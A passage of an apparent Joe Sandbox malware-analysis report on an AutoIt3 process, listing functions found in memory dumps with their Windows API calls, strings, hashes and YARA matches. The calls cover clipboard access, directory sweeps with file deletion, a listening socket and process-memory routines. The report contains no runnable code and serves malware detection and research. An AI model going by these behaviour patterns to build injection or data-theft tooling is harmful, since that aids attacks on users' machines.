Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: ba89845d11b69686a251a91762d9a27e29998d47dccfdfea2313aeea284dbddc
Instruction ID: bfed4bb9c32a568f65643d1a8b75b8e244e565805a383f141dd00218ad4dbe5f
Opcode Fuzzy Hash: ba89845d11b69686a251a91762d9a27e29998d47dccfdfea2313aeea284dbddc
Instruction Fuzzy Hash: FC319071A0221AAFEF119FA0EC58BBF7BA8FF4A301F004526F952D2550D770DA11CB64

Function 008B4830 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 008B4857
EmptyClipboard.USER32 ref: 008B485D
GlobalAlloc.KERNEL32(00000002,?), ref: 008B4872
CloseClipboard.USER32 ref: 008B4911

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: b0012966a6d00af3057f056458cb24d2b32521f755f78b3b36f486c21ad2be3f
Instruction ID: f155d6970c78c8500b8d1a8900ffc65d34145fe27503b288b593d62a73239cf3
Opcode Fuzzy Hash: b0012966a6d00af3057f056458cb24d2b32521f755f78b3b36f486c21ad2be3f
Instruction Fuzzy Hash: 12218331606214AFDB11AF64EC4AB6E7BA8FF54721F048116F946DB3A2DB70ED008F55

Function 03BB31F8 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 168fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,03BB34BA,?,00000000,00000000,00000050,00000000,00000000,?,03BB2F25), ref: 03BB324C

Part of subcall function 03BB31F8: FindNextFileW.KERNEL32(00000000,?,00000000,?,00000000,03BB34BA,?,00000000,00000000,00000050,00000000,00000000,?,03BB2F25), ref: 03BB3408
Part of subcall function 03BB31F8: FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,03BB34BA,?,00000000,00000000,00000050,00000000,00000000,?,03BB2F25), ref: 03BB341C

Strings

C:\Program Files, xrefs: 03BB32F7
C:\Program Files (x86), xrefs: 03BB336B
\AppData\, xrefs: 03BB3394
C:\ProgramData, xrefs: 03BB3331
C:\Windows, xrefs: 03BB32BD

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: C:\Program Files$C:\Program Files (x86)$C:\ProgramData$C:\Windows$\AppData\
API String ID: 3541575487-3046630420
Opcode ID: f78fafd44342f08d7fe49b8f817631cc2e8b970b7bea1dbcb0cbf0ccbe1abf24
Instruction ID: fc3b5487ff97534b9af18579a5e0d1600c4c00d1e639b6e3811f54b5da6778ca
Opcode Fuzzy Hash: f78fafd44342f08d7fe49b8f817631cc2e8b970b7bea1dbcb0cbf0ccbe1abf24
Instruction Fuzzy Hash: 8661073CA0461D9FCB21EB61C994AEDB7B9AF84208F5441F18808AB251DF74EF86CF50

Function 03B92CF0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50nativewindowCOMMON

Download Yara Rule

APIs

BeginPaint.USER32(?,?), ref: 03B92D11
SetBkMode.GDI32(?,00000001), ref: 03B92D1C
TextOutA.GDI32(?,0000000A,0000000A,Hello, World!,0000000D), ref: 03B92D30
EndPaint.USER32(?,?,?,?), ref: 03B92D3A
PostQuitMessage.USER32(00000000), ref: 03B92D43
NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 03B92D54

Strings

Hello, World!, xrefs: 03B92D23

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Paint$BeginMessageModeNtdllPostProc_QuitTextWindow
String ID: Hello, World!
API String ID: 3029869058-3964322768
Opcode ID: 4392ea2d97131047ba3fbc9e1c19bb52fa4bcdcfdac89135f70fa30821fa6493
Instruction ID: 19505e933ab3565fd6f9ee80f5c52668f20cf8815810812eb0a0f1a1213f873d
Opcode Fuzzy Hash: 4392ea2d97131047ba3fbc9e1c19bb52fa4bcdcfdac89135f70fa30821fa6493
Instruction Fuzzy Hash: A1016276B4171CBBEF10DAA88C81FAF736CEF49618F0445B6FA04EF185D664AD0247A1

Function 008A4005 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00860284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00852A58,?,00008000), ref: 008602A4

Part of subcall function 008A4FEC: GetFileAttributesW.KERNEL32(?,008A3BFE), ref: 008A4FED

FindFirstFileW.KERNEL32(?,?), ref: 008A407C
DeleteFileW.KERNEL32(?,?,?,?), ref: 008A40CC
FindNextFileW.KERNEL32(00000000,00000010), ref: 008A40DD
FindClose.KERNEL32(00000000), ref: 008A40F4
FindClose.KERNEL32(00000000), ref: 008A40FD

Strings

\*.*, xrefs: 008A404E

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 96fd07c070d032a0b32c777f2db932ef3944695a0eb9284b5f6522c39df91699
Instruction ID: e20e3e9dae985eea1c88b943556303c0e5afd6784c7faf835d3474a2268f2622
Opcode Fuzzy Hash: 96fd07c070d032a0b32c777f2db932ef3944695a0eb9284b5f6522c39df91699
Instruction Fuzzy Hash: 113183310093459BCB01EB64C899AAFB7E8FF96305F441A2DF9E1C2191EB619A0DDB53

Function 03B8A79C Relevance: 9.2, Strings: 7, Instructions: 450COMMON

Download Yara Rule

Strings

ReadProcessMemory, xrefs: 03B8AABE, 03B8AAC4
ddre, xrefs: 03B8A8B9
GetP, xrefs: 03B8A8AE
LoadLibraryA, xrefs: 03B8AA92, 03B8AA98
VirtualAlloc, xrefs: 03B8AAA2, 03B8AAA5
OpenProcess, xrefs: 03B8AAAE, 03B8AAB4
CloseHandle, xrefs: 03B8AACE, 03B8AAD4

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID:
String ID: CloseHandle$GetP$LoadLibraryA$OpenProcess$ReadProcessMemory$VirtualAlloc$ddre
API String ID: 0-74115134
Opcode ID: 4cd9f9ecbeb5a7e973a920515f3bfac52f909a65e1fd192fa73b7d5d25a518c3
Instruction ID: 3a01ce4f3167267a21a8234f287db6774c2b81cd0d293d46092bb39efc1a60b7
Opcode Fuzzy Hash: 4cd9f9ecbeb5a7e973a920515f3bfac52f909a65e1fd192fa73b7d5d25a518c3
Instruction Fuzzy Hash: 6F220674E04298DFDB10CBACC885B9EBBF5AF19304F184099E588AB352C375AE54CF65

Function 008B696E Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006), ref: 008B69C7
WSAGetLastError.WSOCK32(00000000), ref: 008B69D6
bind.WSOCK32(00000000,?,00000010), ref: 008B69F2
listen.WSOCK32(00000000,00000005), ref: 008B6A01
WSAGetLastError.WSOCK32(00000000), ref: 008B6A1B
closesocket.WSOCK32(00000000), ref: 008B6A2F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 68f1680a1f77e99747e2349fd436d45b9fb1a59e0248e5fd49136eb23fbb84c4
Instruction ID: ac862a8fc506a700ded13902655a759363853755177aa5da797b1f76b7d83612
Opcode Fuzzy Hash: 68f1680a1f77e99747e2349fd436d45b9fb1a59e0248e5fd49136eb23fbb84c4
Instruction Fuzzy Hash: 5721A0346006159FCB10EF68CC89BAEB7A9FF44720F148659F956EB391DB74AC01CB92

Function 03B7BD8C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 83fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,03B7BEBB), ref: 03B7BDF0
FindNextFileA.KERNEL32(00000000,00000010), ref: 03B7BE7C
FindClose.KERNEL32(00000000,00000000,00000010), ref: 03B7BE90

Strings

*.*, xrefs: 03B7BDD7
., xrefs: 03B7BE09

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: *.*$.
API String ID: 3541575487-358234090
Opcode ID: c7a60e575fb448c1df8399e92521b5808fc33479632c7848441de15a7de886fa
Instruction ID: 7828cc8a7aa5956d2dc187f3103a6ddb00c9fd609343bf5d194b1464b500a3a0
Opcode Fuzzy Hash: c7a60e575fb448c1df8399e92521b5808fc33479632c7848441de15a7de886fa
Instruction Fuzzy Hash: 1131827591071C9BCB24EA65CC40BDDB3B8EF85308F5449F19918A7361EB349F858F90

Function 008AC2FF Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 008AC329
_wcscmp.LIBCMT ref: 008AC359
_wcscmp.LIBCMT ref: 008AC36E
FindNextFileW.KERNEL32(00000000,?), ref: 008AC37F
FindClose.KERNEL32(00000000,00000001,00000000), ref: 008AC3AF

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 4ab08a6bd5c03e07bb77bd3868e371752e671803de60ff2e3d39219a3af8e92f
Instruction ID: 102d762ba2cf67f338bb9341f0f6fc478ca50e7e9eb15e2b8871343e60e8a86a
Opcode Fuzzy Hash: 4ab08a6bd5c03e07bb77bd3868e371752e671803de60ff2e3d39219a3af8e92f
Instruction Fuzzy Hash: FC51AC35A046069FEB14DF68C490EAAB7E4FF4A324F10461DF956C77A1DB30AD04CB92

Function 008AC9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 008ACA75
CoCreateInstance.OLE32(008D3D3C,00000000,00000001,008D3BAC,?), ref: 008ACA8D

Part of subcall function 00851A36: _memmove.LIBCMT ref: 00851A77

CoUninitialize.OLE32 ref: 008ACCFA

Strings

.lnk, xrefs: 008ACA09, 008ACA31, 008ACA3B

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 86f3dac5d997441b7fe3650ec7c0bcb5ddfc9941c604d7059aeba591f29614ed
Instruction ID: 184b5b225356f0bfb63d92506038dd307c61bcf444a51cf531be6fd8ec33fa17
Opcode Fuzzy Hash: 86f3dac5d997441b7fe3650ec7c0bcb5ddfc9941c604d7059aeba591f29614ed
Instruction Fuzzy Hash: DDA14AB1104205AFD700EF68C881EABB7E8FF94754F004A1DF595D7292EB71EA09CB92

Function 008A42D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 008A42FF
DeviceIoControl.KERNEL32(00000000,002D1400,00000007,0000000C,?,0000000C,?,00000000), ref: 008A433C
CloseHandle.KERNEL32(00000000,?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 008A4345

Strings

0k, xrefs: 008A42D8

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: 0k
API String ID: 33631002-4279752002
Opcode ID: 269bc0e92a02e006699cba31deba43858fe500ac3a050690a8a7f1f83112dcda
Instruction ID: d52f032a0a0bf1d59cdc0da79dc36760a87b5c6c85b7aed5d90c11168b55cee6
Opcode Fuzzy Hash: 269bc0e92a02e006699cba31deba43858fe500ac3a050690a8a7f1f83112dcda
Instruction Fuzzy Hash: 9A1182B1901229BFEB109BE89C48FAFBBBCFB49710F001256B914E7290D2B45D008BA5

Function 008BC6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0088027A,?), ref: 008BC6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 008BC6F9

Strings

kernel32.dll, xrefs: 008BC6E2
GetSystemWow64DirectoryW, xrefs: 008BC6F3

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 31ba8dd968d5d5737f131a5b651d1f3f012b0ab117c445ec749c5e5f53347136
Instruction ID: f7bb23cfb67172937cc29d9f75338e903cc682fe0d6238606352ab3678c20583
Opcode Fuzzy Hash: 31ba8dd968d5d5737f131a5b651d1f3f012b0ab117c445ec749c5e5f53347136
Instruction Fuzzy Hash: 01E0C7382043038FDB204B6ADC48F967BE8FF04306F80842AE9A9C2320EB74C8808F10

Function 00880030 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00880034
__swprintf.LIBCMT ref: 00880065

Strings

WIN_XPe, xrefs: 008800A4
%.3d, xrefs: 0088003F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 79f2cf366787f967a813cfbb7f9dfdc80ce6361b7a5dd54abdf64de63e985b33
Instruction ID: a8f963aee312c11d6e0d8f4fbfdd4b9e4a240475976695329047779c241537b1
Opcode Fuzzy Hash: 79f2cf366787f967a813cfbb7f9dfdc80ce6361b7a5dd54abdf64de63e985b33
Instruction Fuzzy Hash: 37D0127280850CEAC754ABA0CD45EF9737CFB04308F100452F546E2040D335874CAF23

Function 03BB476C Relevance: 6.1, APIs: 4, Instructions: 106sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 03B94660: CloseHandle.KERNEL32(00000000), ref: 03B94750

Sleep.KERNEL32(000001F4,?,00000000,03BB48C0), ref: 03BB482B

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CloseHandleSleep
String ID:
API String ID: 252777609-0
Opcode ID: 1830bb4da62ab3ba546bc8e9c7bfecf378c64df5beb4aab2b6a588e54110cee7
Instruction ID: ea530aa20070fd2ff0200e4ed8e9389267cc69c9bc75fac9c8fa417d0d92e9d6
Opcode Fuzzy Hash: 1830bb4da62ab3ba546bc8e9c7bfecf378c64df5beb4aab2b6a588e54110cee7
Instruction Fuzzy Hash: 56419074A103889FDB11EFA6D940AAEBBF4FF49308F5044F5E800DB222DBB49940CB61

Function 008A4148 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 008A416D
Process32FirstW.KERNEL32(00000000,?), ref: 008A417B
Process32NextW.KERNEL32(00000000,?), ref: 008A419B
CloseHandle.KERNEL32(00000000), ref: 008A4245

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 25ce7e94e590aa6591b2095d520edb3fbac4d182eb1f00b870dd3fc720739b7b
Instruction ID: 962d7c6c043b06eedcf9c72df9c578d71aafc97ad3d2715f1688209bba666661
Opcode Fuzzy Hash: 25ce7e94e590aa6591b2095d520edb3fbac4d182eb1f00b870dd3fc720739b7b
Instruction Fuzzy Hash: 91317E711083419BDB00EF54D889BAEBBE8FBD5351F40062EF995C21A1EBB19A49CB52

Function 03B689F4 Relevance: 6.0, APIs: 4, Instructions: 37timefileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?), ref: 03B68A0F
FindClose.KERNEL32(00000000,00000000,?), ref: 03B68A1A
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 03B68A33
FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 03B68A44

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: FileTime$Find$CloseDateFirstLocal
String ID:
API String ID: 2659516521-0
Opcode ID: 868875b699540809eebe213be3a9e3515718323174a30cf1cecf8381443eb6e6
Instruction ID: 7e8903b7c3842f44b4a408bdf3383d9f11bc9c130ba18cd7b8da1b3c75cc91ea
Opcode Fuzzy Hash: 868875b699540809eebe213be3a9e3515718323174a30cf1cecf8381443eb6e6
Instruction Fuzzy Hash: 5BF01876D0034CB6CF60E6F48C84ACFB3AC9B05318F1417F7A919D7192E63897448B51

Function 03B68AFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,C:\Program Files (x86)\Microsoft\EdgeUpdate\,?,03B89F23,00000000,03B8A02F,?,?,?,?,03B8A087,00000000,03B89606,00000001), ref: 03B68B17
GetLastError.KERNEL32(00000000,?,00000000,C:\Program Files (x86)\Microsoft\EdgeUpdate\,?,03B89F23,00000000,03B8A02F,?,?,?,?,03B8A087,00000000,03B89606,00000001), ref: 03B68B3C

Part of subcall function 03B68A90: FileTimeToLocalFileTime.KERNEL32(?), ref: 03B68AC0
Part of subcall function 03B68A90: FileTimeToDosDateTime.KERNEL32(?,?,?), ref: 03B68ACF

Part of subcall function 03B68B70: FindClose.KERNEL32(?,?,03B68B3A,00000000,?,00000000,C:\Program Files (x86)\Microsoft\EdgeUpdate\,?,03B89F23,00000000,03B8A02F,?,?,?,?,03B8A087), ref: 03B68B7C

Strings

C:\Program Files (x86)\Microsoft\EdgeUpdate\, xrefs: 03B68AFD

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: FileTime$Find$CloseDateErrorFirstLastLocal
String ID: C:\Program Files (x86)\Microsoft\EdgeUpdate\
API String ID: 976985129-435251725
Opcode ID: 7683402a07a3cc41915343d3355d80590edd3b9017ca34065ff9d4749be2325c
Instruction ID: dd3aba10dc91e3a00039d6fc86a026e81a9c748279cffff81dc22477cdc831bb
Opcode Fuzzy Hash: 7683402a07a3cc41915343d3355d80590edd3b9017ca34065ff9d4749be2325c
Instruction Fuzzy Hash: 2FE06DABB01721174714EABD5C8055AA6C89A896A830D17FAA928DF34BD62DCC0203D0

Function 03BBBA70 Relevance: 4.8, APIs: 3, Instructions: 305fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,03BBBFC4,?,?,?,?,0000005D,00000000,00000000), ref: 03BBBAFB
FindNextFileW.KERNEL32(?,?,00000000,03BBBE62,?,00000000,?,00000000,03BBBFC4,?,?,?,?,0000005D,00000000,00000000), ref: 03BBBE38
FindClose.KERNEL32(?,03BBBE69,03BBBE62,?,00000000,?,00000000,03BBBFC4,?,?,?,?,0000005D,00000000,00000000), ref: 03BBBE5C

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 48c34b3b1329324d07331ce61b3bdad790b9674d15b3f7da8bedfaf950e31e2d
Instruction ID: 19ade8dde4c1692ddf64ddbbc00c1769356077290e2a9775f233d48e4935ae3d
Opcode Fuzzy Hash: 48c34b3b1329324d07331ce61b3bdad790b9674d15b3f7da8bedfaf950e31e2d
Instruction Fuzzy Hash: 52D1FB38A0065E9FCB10EB61DC85AEDB3B9EF45308F5085F6D418AB221DB74AF858F54

Function 008B29BA Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,008B1ED6,00000000), ref: 008B2AAD
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 008B2AE4

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 2523c7f4e962b21ec290b0b45d5983f294d170f6935a307a9dbbb30daec6de92
Instruction ID: e3fbfb6e51b77cc42bb8911ae54d8931538ef1a270db852b0d3051853694067b
Opcode Fuzzy Hash: 2523c7f4e962b21ec290b0b45d5983f294d170f6935a307a9dbbb30daec6de92
Instruction Fuzzy Hash: 5941C271604609FFEB20DE98CC85EFBB7ACFB40764F10405AF605E7281EA71AE419A60

Function 03B93D68 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

Part of subcall function 03B64E94: SysAllocStringLen.OLEAUT32(?,?), ref: 03B64EA2

FindFirstFileW.KERNEL32(00000000,?), ref: 03B93DEF
FindNextFileW.KERNEL32(000000FF,?,00000000,03B93EA4,?,?,?,?,00000000,?), ref: 03B93E84
FindClose.KERNEL32(000000FF,03B93EAB,03B93EA4,?,?,?,?,00000000,?), ref: 03B93E9E

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Find$File$AllocCloseFirstNextString
String ID:
API String ID: 41380636-0
